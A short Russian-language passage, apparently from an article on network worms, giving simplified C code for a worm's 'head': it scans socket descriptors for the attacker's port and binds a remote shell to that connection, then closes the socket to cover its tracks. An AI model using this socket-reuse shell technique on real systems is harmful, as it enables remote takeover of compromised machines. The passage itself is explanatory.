find.gif атакующий засылает
Программная реализация головы червя в несколько упрощенном виде может выглядеть, например, так:
// шаг 1: перебираем все дескрипторы сокетов один за другим
for (a = 0; a < MAX_SOCKET; a++)
{
*buff = 0; // очищаем имя сокета
// шаг 2: получаем адрес, связанный с данным дескриптором
// (конечно при условии, что с ним вообще что-то связно)
if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, (int *) buff) != -1)
{
// шаг 3: идентифицируем свое TCP/IP соединение по своему порту
if (htons(faddr.sin_port) == HACKERS_PORT)
sshell((SOCKET) a, MAX_BUF_SIZE);
}
}
// шаг 4: подчищаем за собой следы
closesocket(fsocket);